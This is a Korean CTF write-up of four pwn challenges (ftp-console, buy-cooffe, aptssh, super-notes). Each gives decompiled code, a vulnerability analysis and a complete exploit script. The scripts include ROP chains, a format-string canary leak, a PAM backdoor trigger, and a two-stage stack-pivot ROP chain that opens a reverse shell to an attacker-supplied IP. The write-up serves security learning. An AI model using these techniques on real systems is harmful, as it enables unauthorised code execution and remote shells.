- ftp-console (Easy, 90 solves)
- buy-cooffe (Medium, 89 solves)
- aptssh (Easy, 41 solves)
- super-notes (Hard, 19 solves)
1. ftp-console (Easy, 90 solves)
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
이 문제의 아키텍쳐는 32bit 기반입니다. 그리고 별다른 보호기법이 존재하지 않고 스택에 rwx 권한이 존재해서 쉘코드를 실행하는것도 가능해보입니다.
int login(void)
{
char s1[32]; // [esp+Ch] [ebp-4Ch] BYREF
char s[32]; // [esp+2Ch] [ebp-2Ch] BYREF
int v3; // [esp+4Ch] [ebp-Ch]
v3 = 0;
puts("220 FTP Service Ready");
printf("USER ");
fgets(s, 32, stdin);
s[strcspn(s, "\n")] = 0;
puts("331 Username okay, need password.");
printf("[DEBUG] Password buffer is located at: %lp\n", &system);
printf("PASS ");
fgets(s1, 100, stdin);
if ( !strcmp(s, "admin") && !strcmp(s1, "password123\n") )
v3 = 1;
if ( v3 )
return puts("230 User logged in, proceed.");
else
return puts("530 Login incorrect.");
}
분석해보면 간단한 로그인 기능을 구현한 실행파일 이라는것을 알수 있지만 여기서는 별로 중요하지 않습니다.
s1 버퍼에 입력을 받을때 버퍼 사이즈보다 큰 값을 입력받기 때문에 BOF가 발생하게 됩니다.
입력할수 있는 길이가 작아서 쉘코드를 실행하는것은 힘들어 보이지만
처음에 system 함수의 주소를 제공해주기 때문에 이것을 이용해서 간단한 x86 ROP chain을 구성하면 풀수 있습니다.
exploit.py:
from pwn import *
#p = process("./ftp_server")
p = remote("34.107.26.201", 30747)
e = ELF("./ftp_server")
#context.log_level = 'debug'
#pause()
p.sendline(b'asdf')
p.recvuntil(b'at:')
system = int(p.recvline(),16)
binsh = system - 0x3d170 + 0x15cbe3 + 0x554f2
payload = b'A'*80
payload += p32(system)
payload += b'AAAA'
payload += p32(binsh)
p.sendline(payload)
p.interactive()
2. buy-cooffe (Medium, 89 solves)
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
이번 문제파일은 x86_64 아키텍쳐이고 모든 보호기법이 적용되어 있습니다.
unsigned __int64 coffee()
{
char format[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Coffee Time\n$ ");
gets(format);
printf(format);
printf("What is this? %p\n", &printf);
printf("\nCoffee Time\n$ ");
fread(format, 1uLL, 0x50uLL, stdin);
puts(format);
return __readfsqword(0x28u) ^ v2;
}
취약점은 다음과 같이 BOF와 FSB 가 존재합니다.
printf함수의 주소도 주기 때문에 이를 이용해서 libc base를 계산하면 되고
FSB가 존재하므로 이를 이용해서 Canary 값을 leak한뒤 이것을 이용해서 간단한 ROP를 수행하면
exploit.py:
from pwn import *
#p = process("./chall")
p = remote("34.159.156.124", 31670)
libc = ELF("./libc-2.31.so")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./chall")
#context.log_level = 'debug'
#pause()
p.sendlineafter(b'$ ',b'%9$p%11$p')
canary = int(p.recvn(18),16)
pie_base = int(p.recvn(14),16) - 0x1332
lb = int(p.recvline().split(b' ')[-1],16) - libc.sym['printf']
system = lb + libc.sym['system']
pop_rdi_leave_ret = pie_base + 0x1223
binsh = lb + list(libc.search(b'/bin/sh'))[0]
print(hex(canary))
print(hex(pie_base))
print(hex(lb))
print(hex(system))
payload = b'A'*24
payload += p64(canary)
payload += b'A'*8
payload += p64(pop_rdi_leave_ret)
payload += p64(binsh)
payload += b'AAAAAAAA'
payload += p64(system)
payload += b'A' * (0x50 - len(payload))
p.sendafter(b'$ ',payload)
p.interactive()
3. aptssh (Easy, 41 solves)
이번 문제는 실행파일을 제공하지 않고 있습니다.
주어진 계정 aptssh:aptssh로 문제 서버에 접속해보면 2개의 base64 인코딩 문자열이 출력되고 연결이 끊기는데 이를 디코딩해보면 2개의 ELF 파일이 나옵니다.
해당 파일들을 분석해보면 막연하게 어려워 보일수도 있지만 이 부분을 잘 읽어보면
이 문제가 왜 Easy 난이도 인지 알 수 있습니다.
pam_casual_auth(&v13);
if ( strlen(s1) > 0x64 )
{
v5 = 7000;
do
v5 -= 8;
while ( v5 );
s2 = 0xADC29EC3;
v18 = -20541;
v17 = v13;
s[0] = 0;
result = memcmp(s1 + 100, &s2, 9uLL);
if ( !result )
{
v10 = 10000;
do
v10 -= 8;
while ( v10 );
return result;
}
}
if ( ierubvhcjsx() )
return 10;
__strcpy_chk(s, s1, 100LL);
if ( strcmp(v14, "sshuser") )
{
v11 = 10000;
do
v11 -= 8;
while ( v11 );
return 10;
}
v6 = fopen("/home/sshuser/pass.txt", "r");
v7 = v6;
if ( !v6 )
return 7;
if ( !fgets(s, 100, v6) )
{
fclose(v7);
v12 = 10000;
do
v12 -= 8;
while ( v12 );
return 7;
}
fclose(v7);
v8 = strcspn(s, "\n");
v9 = s1;
s[v8] = 0;
result = strcmp(v9, s);
if ( result )
return 7;
return result;
}
이 코드가 아마 백도어 인것으로 확인되는데,
우선 password의 길이가 100 이상인지 확인하고 100 이상이라면 8바이트의 특정 배열값과 password + 100 주소에 존재하는 값들과 같은지 검사합니다.
만약 올바른 값이라면 username 이 'sshuser' 인지 검사한후 맞다면 /home/sshuser/pass.txt 파일에 존재하는 비밀번호로 기존에 입력했던 비밀번호를 바꿔줍니다.
그러므로 이를 위해 paramiko 모듈을 이용해서 sshclient를 만들어서 해당 백도어를 트리거 하면 손쉽게 쉘을 얻을수 있습니다.
exploit.py:
import paramiko
from pwn import *
context.log_level = 'debug'
cli = paramiko.SSHClient()
cli.set_missing_host_key_policy(paramiko.AutoAddPolicy)
passwd = b'A'*100
passwd += p32(0xADC29EC3)
passwd += p16(0xBEC2)
passwd += p16(0xAFC3)
passwd += b'\x00'
cli.connect('34.159.156.124', port=30561, username='sshuser', password=passwd)
stdin, stdout, stderr = cli.exec_command('ls -la')
lines = stdout.readlines()
print(''.join(lines))
stdin, stdout, stderr = cli.exec_command('id')
lines = stdout.readlines()
print(''.join(lines))
stdin, stdout, stderr = cli.exec_command('cat flag.txt')
lines = stdout.readlines()
print(''.join(lines))
cli.close()
4. super-notes (Hard, 19 solves)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
이 문제파일의 아키텍쳐는 x86_64 이고 NX 보호기법은 존재하지만
PIE나 Canary는 존재하지 않습니다.
이번 문제는 통칭 Webnable 이라고 불리는 Web + Pwnable 문제입니다.
c 언어로 작성된 웹서버를 공략해야하는 문제인데 nc 를 이용해서 접속하는 방식이 아니므로
쉘을 얻기 위해서는 reverse shell 을 얻어야 합니다.
__int64 __fastcall sub_401820(unsigned int a1)
{
__int64 result; // rax
_QWORD v2[512]; // [rsp+10h] [rbp-1010h] BYREF
int v3; // [rsp+1010h] [rbp-10h]
int v4; // [rsp+1014h] [rbp-Ch]
int i; // [rsp+1018h] [rbp-8h]
int j; // [rsp+101Ch] [rbp-4h]
v4 = 0;
v3 = 0;
memset(v2, 0, sizeof(v2));
sub_401020(v2, off_4D2328[0]);
if ( dword_4D4580 )
{
for ( i = 0; i < dword_4D4580; ++i )
{
strcpy((char *)v2 + sub_4011A0(), "<div class=\"note-container\">");
v4 = sub_4011A0();
v3 = sub_4011A0();
for ( j = 0; j < v4; ++j )
{
if ( *(_BYTE *)(*(_QWORD *)(qword_4D4578 + 8LL * i) + j) == '+' )
{
*(_BYTE *)(*(_QWORD *)(qword_4D4578 + 8LL * i) + j) = ' ';
}
else if ( *(_BYTE *)(*(_QWORD *)(qword_4D4578 + 8LL * i) + j) == '0' )
{
*(_BYTE *)(*(_QWORD *)(qword_4D4578 + 8LL * i) + j) = '\0';
}
}
sub_401060((char *)v2 + v3, *(_QWORD *)(qword_4D4578 + 8LL * i), v4);
strcpy((char *)v2 + sub_4011A0(), "</div>");
}
}
else
{
sub_401090(v2, off_4D2338[0]);
}
sub_401775(a1, v2, "text/html");
result = (unsigned int)dword_4D4580;
if ( dword_4D4580 )
return *(_QWORD *)qword_4D4578;
return result;
}
이 문제에서는 2가지의 취약점이 존재합니다.
첫번째 취약점은 노트를 출력하는 기능에서 발생하는데,
노트를 출력할때 사용되는 html 코드는 4096 크기를 가지는 v2 스택버퍼에 저장됩니다.
하지만 노트의 최대갯수를 지정하지 않고 있기 때문에 노트를 많이 추가한뒤 출력하게 되면
BOF가 발생하게 됩니다.
이를 이용해서 ROP chain을 만들어서 exploit 해야 하지만
v2 스택버퍼는 다른 카운팅 변수들보다 작은주소에 위치해있기 때문에
리턴영역을 덮을때 다른 변수들의 값을 올바르게 세팅해줘야 크래시가 나지 않고 원하는 값으로
리턴영역을 덮을수 있습니다.
게다가 노트를 추가할때 최대 32 바이트 만큼의 데이터만 쓸수 있어서 최대한 덮을수 있는 공간은
sfp + ret 까지 이므로 일반적인 방법으로는 ROP chain을 만들수 없습니다.
그러므로 fake stack 을 만든뒤 ROP chain을 작성하고 stack pivoting을 수행해서 해당 스택을 사용해서 ROP를 해야하는데 이것을 하려면 2번째 취약점을 이용해야 합니다.
v25 = sub_4010D0(v19, "username=");
v24 = sub_4010D0(v19, "password=");
if ( !v25 || !v24 )
goto LABEL_15;
v25 = sub_41DD80(v25 + 9, (__int64)"&");
v24 = sub_41DD80(v24 + 9, (__int64)" ");
v23 = sub_4011A0();
v22 = sub_4011A0();
if ( v23 <= 254 || v22 <= 254 )
{
sub_4010F0();
sub_4010F0();
for ( i = 0; i < v23; ++i )
{
if ( aCaca[i] == '+' )
{
aCaca[i] = ' ';
}
else if ( aCaca[i] == '0' )
{
aCaca[i] = 0;
}
}
for ( j = 0; j < v22; ++j )
{
if ( aCaca_0[j] == '+' )
{
aCaca_0[j] = ' ';
}
else if ( aCaca_0[j] == '0' )
{
aCaca_0[j] = 0;
}
}
sub_401775(a1, off_4D2368[0], (int)"text/html", (__int64)off_4D2368[0], v11, v12);
}
return sub_452090(a1);
}
register 기능을 살펴보면 이름과 비밀번호를 최대 254 바이트까지 쓰는것이 가능한데 문제는 해당 실행파일에는 PIE가 적용되있지 않으므로 이름과 비밀번호가 쓰여지는 위치를 쉽게 알수 있습니다.
그러므로 이를 이용해서 ROP chain을 구성한뒤 stack pivoting을 수행하여 ROP 를 수행하도록 페이로드를 구성하면 됩니다.
이 문제는 웹서버에 패킷을 보내서 공략해야하는 방식이기 때문에 NULL 바이트를 메모리에 쓰는것이 불가능해 보이지만
다행히도 웹서버에서는 0x30 값은 NULL로 바꾸고 0x2B값은 0x20 으로 바꾸기 때문에 NULL값을 쓰는것이 가능합니다.
조심해야할건, 이 웹서버에서 받는 모든 데이터들은 검증과정을 거쳐서 '0' 과 '+' 문자를 다른값으로 바꾸기 때문에 ROP 할때 필요한 가젯의 주소와 페이로드에 해당 값이 포함되어있지 않은지 확인해야 ROP chain이 정상적으로 동작하게 됩니다.
그리고 이 문제 특성상 reverse shell을 얻어야 하기 때문에 ROP chain이 길어지게 되는데 이것이 254 바이트를 넘기 때문에 ROP chain을 입력 할수 없는 상황이 발생합니다.
이를 해결하기 위해서는 ROP chain을 2개로 나눈뒤 stack pivoting을 2번 하도록 ROP chain을 수정해야 합니다.
exploit.py:
from pwn import *
import requests
def pack32(input):
pk = p32(input)
res = b''
for i in range(len(pk)):
if pk[i] == 0:
res += b'0'
else:
res += bytes([pk[i]])
return res
def pack64(input):
pk = p64(input)
res = b''
for i in range(len(pk)):
if pk[i] == 0:
res += b'0'
else:
res += bytes([pk[i]])
return res
#url = 'http://localhost:1339'
url = 'http://34.159.156.124:31712'
binsh = 0x4D2140
fake_stack1 = 0x4D2150
fake_stack2 = 0x4D2240
leave_ret = 0x401AA2
ip_addr = 0x4D2148
pop_rdi = 0x402c8f
pop_rsi = 0x40acfe
pop_rax_rdx_rbx = 0x4898ea
pop_rax = 0x452a17
pop_rbp = 0x401731
inc_esi = 0x491197
syscall = 0x454A55
# socket(2,1,0)
rop_chain1 = pack64(pop_rdi) + pack64(2)
rop_chain1 += pack64(pop_rsi) + pack64(1)
rop_chain1 += pack64(pop_rax_rdx_rbx) + pack64(0x29) + (pack64(0) * 2)
rop_chain1 += pack64(syscall)
# connect(sockfd, &ip_addr, sizeof(ip_addr))
rop_chain1 += pack64(pop_rdi) + pack64(5) # fd == 5
rop_chain1 += pack64(pop_rsi) + pack64(ip_addr)
rop_chain1 += pack64(pop_rax_rdx_rbx) + pack64(0x2a) + pack64(0x10) + pack64(0)
rop_chain1 += pack64(syscall)
# retry stack pivoting
rop_chain1 += pack64(pop_rbp) + pack64(fake_stack2 - 8)
rop_chain1 += pack64(leave_ret)
# dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2)
rop_chain2 = pack64(pop_rdi) + pack64(5) # fd == 5
rop_chain2 += pack64(pop_rsi) + pack64(0)
rop_chain2 += pack64(pop_rax) + pack64(0x21)
rop_chain2 += pack64(syscall)
rop_chain2 += pack64(inc_esi)
rop_chain2 += pack64(pop_rax) + pack64(0x21)
rop_chain2 += pack64(syscall)
rop_chain2 += pack64(inc_esi)
rop_chain2 += pack64(pop_rax) + pack64(0x21)
rop_chain2 += pack64(syscall)
# execve("/bin/sh",0,0)
rop_chain2 += pack64(pop_rdi) + pack64(binsh)
rop_chain2 += pack64(pop_rsi) + pack64(0)
rop_chain2 += pack64(pop_rax_rdx_rbx) + pack64(0x3b) + (pack64(0) * 2)
rop_chain2 += pack64(syscall)
data = b'username=asdf&password=asdf'
header = {
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0',
'Connection':'keep-alive',
'Content-Length': str(len(data)),
'Cache-Control': 'max-age=0',
'Origin':url,
'Upgrade-Insecure-Requests': '1',
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
'Referer':url+'/',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'en-US,en;q=0.5',
'Priority':'u=0, i'
}
print('[+] register and login')
i = 0
while i < 1:
try:
resp = requests.post(url + '/register', data=data, headers=header)
print(resp)
sleep(2)
resp = requests.post(url + '/login', data=data, headers=header)
print(resp)
sleep(2)
i += 1
except:
pass
data = {
'note_content':'A'*30,
}
header['Content-Length'] = str(len(data))
print('[+] input dummy data')
i = 0
while i < 49:
try:
resp = requests.post(url + '/add_note', data=data, headers=header)
sleep(1)
i += 1
print(resp)
except:
pass
data = {
'note_content':'A'*18,
}
header['Content-Length'] = str(len(data))
i = 0
while i < 1:
try:
resp = requests.post(url + '/add_note', data=data, headers=header)
sleep(1.5)
print(resp)
i += 1
except:
pass
data = {
'note_content':'A'*10,
}
header['Content-Length'] = str(len(data))
i = 0
while i < 1:
try:
resp = requests.post(url + '/add_note', data=data, headers=header)
print(resp)
sleep(1.5)
i += 1
except:
pass
#data = b'username=' + b'A'*0x20 + b'/bin/sh0\x020\xd41\x7f00\x01' + rop_chain1 + b'&password=' + b'A'*0x20 + rop_chain2
data = b'username=' + b'A'*0x20 + b'/bin/sh0\x020[Your IP&PORT ip_addr struct bytes]' + rop_chain1 + b'&password=' + b'A'*0x20 + rop_chain2
header['Content-Length'] = str(len(data))
print('[+] input ROP chain')
i = 0
while i < 1:
try:
resp = requests.post(url + '/register', data=data, headers=header)
print(resp)
sleep(2)
i += 1
except:
pass
data = b'note_content=' + pack32(0x1000) + pack32(0x20) + pack32(0x33) + pack32(0x20) + pack64(fake_stack1 - 8) + pack64(leave_ret)
header['Content-Length'] = str(len(data))
print('[+] get reverse shell')
i = 0
while i < 1:
try:
resp = requests.post(url + '/add_note', data=data, headers=header)
print(resp)
i += 1
except:
pass
저는 저의 가상머신에서 테스트 했을때 POST 요청을 할때 알수없는 이유로 헤더와 데이터를 따로 보내서 400 에러가 발생했습니다.
그래서 호스트 환경에서 다시 테스트 해서 정상적으로 POST 요청이 보내져서 exploit을 성공하였습니다.
'CTF' 카테고리의 다른 글
2024 Nov HSAPCE Space War CTF (Physical Lab) (0) | 2024.11.03 |
---|---|
[DEF CON CTF Qualifier 2023] Live CTF : Test Your Luck (0) | 2023.06.02 |
[DEF CON CTF Qualifier 2023] Live CTF : What a maze meant (0) | 2023.05.31 |
2023 TAMUctf write-up (0) | 2023.05.15 |
[2023 root access CTF] write-up (3) | 2023.05.02 |